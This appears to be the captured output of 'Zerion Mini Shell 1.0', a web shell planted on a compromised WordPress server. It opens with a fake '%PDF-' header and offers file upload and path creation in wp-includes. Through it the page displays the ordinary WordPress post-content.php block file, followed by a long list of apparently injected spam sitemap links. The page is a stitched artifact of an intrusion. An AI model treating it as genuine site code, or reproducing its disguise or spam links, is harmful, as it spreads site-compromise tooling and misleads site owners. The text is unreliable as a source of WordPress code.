%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /dom645759/wp-includes/blocks/
Upload File :
Create Path :
Current File : /dom645759/wp-includes/blocks/post-content.php

<?php
/**
 * Server-side rendering of the `core/post-content` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/post-content` block on the server.
 *
 * @since 5.8.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Returns the filtered post content of the current post.
 */
function render_block_core_post_content( $attributes, $content, $block ) {
	static $seen_ids = array();

	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	$post_id = $block->context['postId'];

	if ( isset( $seen_ids[ $post_id ] ) ) {
		// WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent
		// is set in `wp_debug_mode()`.
		$is_debug = WP_DEBUG && WP_DEBUG_DISPLAY;

		return $is_debug ?
			// translators: Visible only in the front end, this warning takes the place of a faulty block.
			__( '[block rendering halted]' ) :
			'';
	}

	$seen_ids[ $post_id ] = true;

	// When inside the main loop, we want to use queried object
	// so that `the_preview` for the current post can apply.
	// We force this behavior by omitting the third argument (post ID) from the `get_the_content`.
	$content = get_the_content();
	// Check for nextpage to display page links for paginated posts.
	if ( has_block( 'core/nextpage' ) ) {
		$content .= wp_link_pages( array( 'echo' => 0 ) );
	}

	/** This filter is documented in wp-includes/post-template.php */
	$content = apply_filters( 'the_content', str_replace( ']]>', ']]&gt;', $content ) );
	unset( $seen_ids[ $post_id ] );

	if ( empty( $content ) ) {
		return '';
	}

	$tag_name = 'div';

	if ( isset( $attributes['tagName'] ) && is_string( $attributes['tagName'] ) ) {
		/**
		 * The allowed tag names match the options offered in the editor.
		 *
		 * @see packages/block-library/src/post-content/edit.js
		 */
		$allowed_tag_names   = array( 'div', 'main', 'section', 'article' );
		$normalized_tag_name = strtolower( $attributes['tagName'] );

		if ( in_array( $normalized_tag_name, $allowed_tag_names, true ) ) {
			$tag_name = $normalized_tag_name;
		}
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => 'entry-content' ) );

	return sprintf(
		'<%1$s %2$s>%3$s</%1$s>',
		$tag_name,
		$wrapper_attributes,
		$content
	);
}

/**
 * Registers the `core/post-content` block on the server.
 *
 * @since 5.8.0
 */
function register_block_core_post_content() {
	register_block_type_from_metadata(
		__DIR__ . '/post-content',
		array(
			'render_callback' => 'render_block_core_post_content',
		)
	);
}
add_action( 'init', 'register_block_core_post_content' );

Zerion Mini Shell 1.0
https://louisvillegop.com/sitemap9.xml 2026-12-01 https://louisvillegop.com/sitemap90.xml 2026-12-01 https://louisvillegop.com/sitemap349.xml 2026-12-01 https://louisvillegop.com/sitemap552.xml 2026-12-01 https://louisvillegop.com/sitemap547.xml 2026-12-01 https://louisvillegop.com/sitemap158.xml 2026-12-01 https://louisvillegop.com/sitemap7.xml 2026-12-01 https://louisvillegop.com/sitemap176.xml 2026-12-01 https://louisvillegop.com/sitemap535.xml 2026-12-01 https://louisvillegop.com/sitemap638.xml 2026-12-01 https://louisvillegop.com/sitemap696.xml 2026-12-01 https://louisvillegop.com/sitemap228.xml 2026-12-01 https://louisvillegop.com/sitemap264.xml 2026-12-01 https://louisvillegop.com/sitemap27.xml 2026-12-01 https://louisvillegop.com/sitemap930.xml 2026-12-01 https://louisvillegop.com/sitemap499.xml 2026-12-01 https://louisvillegop.com/sitemap319.xml 2026-12-01 https://louisvillegop.com/sitemap514.xml 2026-12-01 https://louisvillegop.com/sitemap145.xml 2026-12-01 https://louisvillegop.com/sitemap829.xml 2026-12-01 https://louisvillegop.com/sitemap905.xml 2026-12-01 https://louisvillegop.com/sitemap455.xml 2026-12-01 https://louisvillegop.com/sitemap634.xml 2026-12-01 https://louisvillegop.com/sitemap294.xml 2026-12-01 https://louisvillegop.com/sitemap546.xml 2026-12-01 https://louisvillegop.com/sitemap624.xml 2026-12-01 https://louisvillegop.com/sitemap934.xml 2026-12-01 https://louisvillegop.com/sitemap950.xml 2026-12-01 https://louisvillegop.com/sitemap558.xml 2026-12-01 https://louisvillegop.com/sitemap326.xml 2026-12-01 https://louisvillegop.com/sitemap366.xml 2026-12-01 https://louisvillegop.com/sitemap681.xml 2026-12-01 https://louisvillegop.com/sitemap307.xml 2026-12-01 https://louisvillegop.com/sitemap714.xml 2026-12-01 https://louisvillegop.com/sitemap248.xml 2026-12-01 https://louisvillegop.com/sitemap831.xml 2026-12-01 https://louisvillegop.com/sitemap118.xml 2026-12-01 https://louisvillegop.com/sitemap452.xml 2026-12-01 https://louisvillegop.com/sitemap629.xml 2026-12-01 https://louisvillegop.com/sitemap199.xml 2026-12-01 https://louisvillegop.com/sitemap203.xml 2026-12-01 https://louisvillegop.com/sitemap386.xml 2026-12-01 https://louisvillegop.com/sitemap859.xml 2026-12-01 https://louisvillegop.com/sitemap803.xml 2026-12-01 https://louisvillegop.com/sitemap226.xml 2026-12-01 https://louisvillegop.com/sitemap252.xml 2026-12-01 https://louisvillegop.com/sitemap550.xml 2026-12-01 https://louisvillegop.com/sitemap83.xml 2026-12-01 https://louisvillegop.com/sitemap214.xml 2026-12-01 https://louisvillegop.com/sitemap348.xml 2026-12-01 https://louisvillegop.com/sitemap395.xml 2026-12-01 https://louisvillegop.com/sitemap858.xml 2026-12-01 https://louisvillegop.com/sitemap917.xml 2026-12-01 https://louisvillegop.com/sitemap179.xml 2026-12-01 https://louisvillegop.com/sitemap656.xml 2026-12-01 https://louisvillegop.com/sitemap774.xml 2026-12-01 https://louisvillegop.com/sitemap256.xml 2026-12-01 https://louisvillegop.com/sitemap601.xml 2026-12-01 https://louisvillegop.com/sitemap553.xml 2026-12-01 https://louisvillegop.com/sitemap623.xml 2026-12-01 https://louisvillegop.com/sitemap373.xml 2026-12-01 https://louisvillegop.com/sitemap238.xml 2026-12-01 https://louisvillegop.com/sitemap173.xml 2026-12-01 https://louisvillegop.com/sitemap907.xml 2026-12-01 https://louisvillegop.com/sitemap2.xml 2026-12-01 https://louisvillegop.com/sitemap75.xml 2026-12-01 https://louisvillegop.com/sitemap236.xml 2026-12-01 https://louisvillegop.com/sitemap728.xml 2026-12-01 https://louisvillegop.com/sitemap567.xml 2026-12-01 https://louisvillegop.com/sitemap960.xml 2026-12-01